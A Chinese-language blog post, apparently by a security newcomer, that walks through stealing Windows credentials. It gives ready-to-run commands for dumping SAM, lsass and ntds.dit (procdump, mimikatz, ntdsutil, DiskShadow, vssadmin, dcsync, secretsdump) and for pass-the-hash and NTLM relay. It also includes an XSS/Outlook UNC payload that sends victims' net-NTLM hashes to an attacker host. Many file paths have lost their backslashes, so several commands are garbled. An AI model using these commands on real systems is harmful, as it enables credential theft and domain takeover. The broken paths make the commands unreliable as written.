我们都知道,就用户隐私泄露风险而言,网络钓鱼是最大的威胁,其次是键盘记录器,然后是第三方黑客方式。
而黑客攻击是用户凭证泄露最常见的方式,但是由于暴露额外信息,网络钓鱼诈骗更加危险。
今天安仔就跟大家聊一聊windows如何获取用户凭证,这里说的用户凭证获取,一般是指 ntlm hash 或者可以直接利用的明文密码。其他加密方式的用户凭证不在本次讨论范围内。
a、通过SAM文件破解
reg save hklmsam C:sam.hive
reg save hklmsystem C:system.hive
b、获取lsass内存
1.procdump
procdump是微软提供的一款监测cpu峰值协助管理员检测异常数据的软件是合法可信任软件因此杀软不会拦截。
利用该软件可读取内存的特性可以将计算机用户登录内存抓取出来。具体命令如下
以管理员身份启动cmd
procdump64.exe -accepteula -ma lsass.exe 存放路径文件名
将生成的文件传出后使用mimikatz破解
mimikatz # sekurlsa::minidump 文件名
mimikatz # sekurlsa::logonPasswords full
2.创建转储文件
除了使用工具软件获得 lsass.exe 的内存外还可以直接在任务管理器中创建 lsass.exe 的转储文件效果和 procdump 生成的效果一样。
a、ntdsutil 域快照
ntdsutil 是一个命令行工具是域控制器生态系统的一部分其主要用途是使管理员能够轻松访问和管理 Windows Active Directory 数据库。但它常被渗透测试人员或红队队员滥用来获取现有的 ntds.dit 文件快照。在 Windows Server 2008 及以上版本的系统中可直接使用 ntdsutil。
ntdsutil
activate instance ntds
ifm
create full C:ntdsutil
quit
quit
b、DiskShadow
DiskShadow 是一个 Microsoft 签名二进制文件用于协助管理员执行与卷影复制服务VSS相关的操作。这个二进制文件有两个模式 interactive 和 script 脚本将包含自动执行 NTDS.DIT 提取过程所需的所有命令。可以在脚本文件中添加以下行以创建新的 volume shadow copy卷影复制挂载新驱动执行复制命令以及删除 volume shadow copy。
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:windowsntdsntds.dit c:ntdsntds.dit
delete shadows volume %someAlias%
reset
需要注意的是DiskShadow二进制文件需要从C:WindowsSystem32路径执行。如果从其它路径调用它脚本将无法正确执行同时该脚本文件保存时编码格式不能选择 UTF-8 要选择 ASCII 编码否则运行会报错。
diskshadow.exe /s c:diskshadow.txt
SYSTEM注册表hive也应该被复制因为其包含了解密NTDS文件内容所需的密钥。
reg.exe save hklmsystem c:ntdssystem.bak
c、vssadmin
vssadmin 即卷影复制服务Volume Shadow Copy Service是微软Windows的一项组件服务从Windows XP开始支持。管理员可以使用卷影复制服务备份计算机卷以及文件即使操作系统正在使用这些资源。
1.备份方法
vssadmin create shadow /for=C:
copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy[ID]windowsntdsntds.dit
copy \?
GLOBALROOTDeviceHarddiskVolumeShadowCopy[ID]windowssystem32configSYSTEM
vssadmin delete shadows /shadow=[GUID]
其中的HarddiskVolumeShadowCopy[ID]中的[ID]和[GUID]均为动态生成需要根据回显结果输入。如下图:
可以看出[ID]为1"[GUID]为
c73089ab-8634-457c-8ee7-b8c0ed2432ad。
2.windows server 03
如果系统是 server 03 在执行完毕之后还需要使用esentutl对ntds进行修复。
esentutl /r edb /8 /d /o
esentutl /p .ntds.dit /8 /o
需要注意的是该操作必须在 windows server 2003 上执行。
d、Mimikatz
Mimikatz 有一个功能 dcsync 利用目录复制服务 DRS从 NTDS.DIT 文件中检索密码哈希值。该技术消除了直接从域控制器进行认证的必要性,因为它可以以域管身份在域的任意系统执行,或是使用黄金票据从任意可连接到域控的服务器执行。因此这也是一项用于红队的标准技术。
lsadump::dcsync /domain:aptlab.com /all /csv
通过使用 /user 参数指定域用户名Mimikatz 会将该指定用户的所有帐户信息转储包括哈希值。
lsadump::dcsync /domain:pentestlab.local /user:test
e、secretsdump
利用 impacket 下的 secretsdump 模块也可以实现远程盗取 ntds 内容。同时该工具支持 hash 传递攻击。
Python secretsdump -hashes :NThash -just-dc domain/dc$@ipaddress
破解ntds文件的方法有很多软件也有很多包括Impacket-secretsdump、Quarks PwDump等。
这里推荐使用NtdsAudit工具。
该工具可以十分高效的破解ntds文件并将全部域用户信息导出方便查找域用户状态。
将ntds.dit文件和SYSTEM文件放在同一目录下执行命令
NtdsAudit.exe "ntds.dit" -s "SYSTEM" -p pwdump.txt --users-csv users.csv
执行完毕后会生成两个文件pwdump.txt和users.csv其中pwdump.txt为用户hash文件包含用户名及hashusers.csv文件为域用户的详细信息包括账户是否过期是否为管理员上次密码修改时间等。
需要注意的是该工具只能在win10server16未测试上执行。
使用不同工具破解ntds文件时需要注意最好使用与导出ntds文件域控相同操作系统版本的系统进行破解否则可能会出现失败的情况。
(1)hash 传递
hash传递攻击pass the hash简称 PTH 。
由于 NTLM 验证过程中在 type 3 阶段计算 response 的时候客户端是使用用户的 hash 进行计算的而不是用户密码进行计算的。因此在模拟用户登录的时候是不需要用户明文密码的只需要用户hash。
微软在2014年5月13日发布了针对 Pass The Hash 的更新补丁 kb2871997标题为"Update to fix the Pass-The-Hash Vulnerability",而在一周后却把标题改成了"Update to improve credentials protection and management"。同时该补丁还能阻止mimikatz 抓取明文密码。
严格意义上讲hash传递只是完成一个不需要输入密码的NTLM协议认证流程所以并不算是一个漏洞只能算是一个技巧。
a、常用工具
哈希传递作为一个比较常见的攻击方式对应的工具有很多。常见的有
1.mimikatz
privilege::debug
sekurlsa::pth /user:win10 /domain:test.local
/ntlm:6a6293bc0c56d7b9731e2d5506065e4a
2.impacket
impacket的模块中有5个都支持 hash 传递。
psexec.py
smbexec.py
atexec.py
wmiexec.py
dcomexec.py
举例说明
python wmiexec.py -hash LMhash:NThash username@ipaddress
python wmiexec.py -hashes :NThash username@ipaddress
3.msf
use exploit/windows/smb/psexec_psh
4.CobalStrike
(2)中间人攻击
NTLM relay攻击即中间人攻击。由于 NTLM 协议是一个嵌入式的协议因此当 NTLM 的上层协议是 smb 的情况下ntlm relay 就是 smb relay。那如果上层协议是 http也可以叫做 http relay但是都统称 ntlm relay。
a、ntlm relay 的一般过程
正常的 ntlm 认证 type 1type 2type 3 流程。
而中间人攻击则是在这个过程中作为中间人攻击者将来自客户端的包(type 1)转发给服务端将来自服务端的challenge(type 2)转发给客户端然后客户端计算完response 之后再把response(type 3) 转发给服务端服务端验证rsponse通过之后授予攻击者访问的权限。
b、跨协议的relay
鉴于 NTLM 协议的特性也可以在一个协议里面提取 ntlm 认证信息放进另外一个协议里面实现跨协议的relay。
c、中继和反射relay or reflet
什么是反射
如果 Inventory Server 和 Target 是同一台机器攻击者拿到 Inventory Server 发来的请求之后发回给 Inventory Server 进行认证。这个就是反射reflect。
反射的应用
在工作组环境里面工作组中的机器之间相互没有信任关系每台机器的账号密码只是保存在自己的SAM文件中此时将中继到其他机器就没有任何意义了。
最能体现其特点的就是 CVE-2018-8581。通过抓到管理员hash并将其反射回自己从而实现短暂的权限提升。
d、NTLM 请求发起
既然是中间人攻击那么关键问题就在于如何才能发起请求。发起请求的方法有很多但使用条件都较为苛刻就不过多赘述这里只介绍可行性最大的一种。
XSS & Outlook
利用xss构造
<script src="\ipaddress\xss">
这种情况适用于 IE 和 edge其他浏览器不允许从 http 协议跨到 file 协议。
如果使用 http 请求来发起认证在默认情况下需要手动输入用户信息进行验证除非该站点的域名位于企业内部网或存在于可信站点列表中。否则都会跳出认证框来让操作者再输入一次。
除非在安全设置中将"用户身份验证"选项中"登录"设置为自动使用当前用户名和密码登录才能拿到用户的net-ntlm hash。
发送邮件是支持html的并且 outlook 中的图片加载路径可以是 UNC。同 XSS 将图片地址构造为攻击 payload。
当收件人打开outlook查看邮件的时候就可以收到net-ntlm hash。。。。
我是安仔,一名刚入职网络安全圈的网安萌新,欢迎关注我,跟我一起成长;私信回复【资料】 领取更多文章和学习资料,加入安全大咖学习交流群,一起进步。